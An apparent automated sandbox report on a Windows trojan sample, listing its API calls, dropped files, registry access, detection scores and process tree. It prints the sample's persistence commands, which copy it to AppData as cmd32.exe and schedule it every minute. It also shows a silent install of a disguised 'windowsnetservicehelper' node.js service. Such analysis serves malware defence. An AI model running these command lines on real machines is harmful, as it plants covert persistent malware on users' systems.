(https://messenger.com/)","ProductTitle":"Messenger","SearchTitles":[],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9WZDNCRF0083","Properties":{"PackageFamilyName":"Facebook.317180B0BB486_8xx8rvfyw5nnt","PackageIdentityName":"FACEBOOK.317180B0BB486","PublisherCertificateName":"CN=6E08453F-9BA7-4311-999C-D22FBA2FB1B8","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"c6a9fa5c-20a2-4e12-904d-edd408657dc8"},{"IdType":"LegacyWindowsPhoneProductId","Value":"3219d30d-4a23-4f58-a91c-c44b04e6a0c7"},{"IdType":"XboxTitleId","Value":"2004208728"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-09-09T22:39:32.7082563Z\|\|.\|\|e86fc780-362a-40ac-a492-00a82914d51a\|\|1152921505695235378\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"2022-09-09T22:38:30.0902509Z","LocalizedProperties":[{"SkuDescription":"Made for big screens and close connections. Get access to free texting, and high-quality voice & video chat built specifically for desktop.\r\n\r\nMADE FOR DESKTOP, MADE
Source: svchost.exe, 00000031.00000003.524991165.0000015A1419E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.524831727.0000015A1418D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t enough.\r\n\r\nSHARE WITH FRIENDS\r\nSend photos and videos to keep your close friends up to speed. Receive files for even more productivity.\r\n\r\n\r\nCalls are free over Wi-Fi but otherwise standard data charges apply.\r\nPrivacy Policy: https://www.facebook.com/about/privacy \| LEARN MORE at: https://messenger.com (https://messenger.com/)","ProductTitle":"Messenger","SearchTitles":[],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9WZDNCRF0083","Properties":{"PackageFamilyName":"Facebook.317180B0BB486_8xx8rvfyw5nnt","PackageIdentityName":"FACEBOOK.317180B0BB486","PublisherCertificateName":"CN=6E08453F-9BA7-4311-999C-D22FBA2FB1B8","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"c6a9fa5c-20a2-4e12-904d-edd408657dc8"},{"IdType":"LegacyWindowsPhoneProductId","Value":"3219d30d-4a23-4f58-a91c-c44b04e6a0c7"},{"IdType":"XboxTitleId","Value":"2004208728"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-09-09T22:39:32.7082563Z\|\|.\|\|e86fc780-362a-40ac-a492-00a82914d51a\|\|1152921505695235378\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"2022-09-09T22:38:30.0902509Z","LocalizedProperties":[{"SkuDescription":"Made for big screens and close connections. Get access to free texting, and high-quality voice & video chat built specifically for desktop.\r\n\r\nMADE FOR DESKTOP, MADE

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Code function: 20_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

20_2_0040558F

Source: windowsnetservicehelper.exe, 0000001D.00000002.389856694.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 168

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03B72DB8	0_2_03B72DB8
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03D2F468	0_2_03D2F468
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03D2EB98	0_2_03D2EB98
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03D2E850	0_2_03D2E850
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADE3D4	18_2_03ADE3D4
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADF1D8	18_2_03ADF1D8
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADE644	18_2_03ADE644
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADDAC8	18_2_03ADDAC8
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADDD64	18_2_03ADDD64
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00404DCC	20_2_00404DCC
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00406AF2	20_2_00406AF2

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Code function: 0_2_03D28260 CreateProcessAsUserA,

0_2_03D28260

Source: z5i6tLOUD0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: z5i6tLOUD0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cmd32.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cmd32.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: node.exe.20.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03BC4C7C RemoveService,OpenSCManagerW,OpenServiceW,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,

18_2_03BC4C7C

Source: z5i6tLOUD0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Code function: 20_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

20_2_004034A5

Source: WingFtpServer.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: WingFtpServer.tmp.14.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: z5i6tLOUD0.exe, 00000000.00000000.274189838.00000000019F2000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamemsedge.exe> vs z5i6tLOUD0.exe

Source: z5i6tLOUD0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z5i6tLOUD0.exe.log

Jump to behavior

Source: classification engine

Classification label: mal60.troj.evad.winEXE@75/22@2/3

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: InstallService,OpenSCManagerW,CreateServiceW,CloseServiceHandle,

18_2_03BC48BC

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03BC4B94 ChangeServicePath,OpenSCManagerW,OpenServiceW,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,

18_2_03BC4B94

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

File created: C:\Program Files (x86)\WindowsNetService

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: z5i6tLOUD0.exe	ReversingLabs: Detection: 60%
Source: z5i6tLOUD0.exe	Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\z5i6tLOUD0.exe "C:\Users\user\Desktop\z5i6tLOUD0.exe"
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\z5i6tLOUD0.exe" "C:\Users\user\AppData\Roaming\cmd32.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 168
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe "C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Process created: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp "C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process created: C:\Users\user\AppData\Local\Temp\wns22DB.tmp windowsnetservicehelpersetup.exe /S
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\net.exe "net" stop windowsnetservicehelper.exe
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop windowsnetservicehelper.exe
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "taskkill" /IM windowsnetservicehelper.exe /T /F
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\sc.exe "sc" delete windowsnetservicehelper.exe
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" install
Source: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" start
Source: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe
Source: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Process created: C:\Program Files (x86)\WindowsNetService\node.exe C:\Program Files (x86)\WindowsNetService\node.exe" "C:\Program Files (x86)\WindowsNetService\service.js
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\z5i6tLOUD0.exe" "C:\Users\user\AppData\Roaming\cmd32.exe	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe "C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Process created: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp "C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process created: C:\Users\user\AppData\Local\Temp\wns22DB.tmp windowsnetservicehelpersetup.exe /S	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\net.exe "net" stop windowsnetservicehelper.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "taskkill" /IM windowsnetservicehelper.exe /T /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\sc.exe "sc" delete windowsnetservicehelper.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" install	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" start	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop windowsnetservicehelper.exe	Jump to behavior
Source: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Process created: C:\Program Files (x86)\WindowsNetService\node.exe C:\Program Files (x86)\WindowsNetService\node.exe" "C:\Program Files (x86)\WindowsNetService\service.js
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

20_2_004034A5

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

File created: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Code function: 20_2_00402104 CoCreateInstance,

20_2_00402104

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03AC1A8C GetDiskFreeSpaceW,

18_2_03AC1A8C

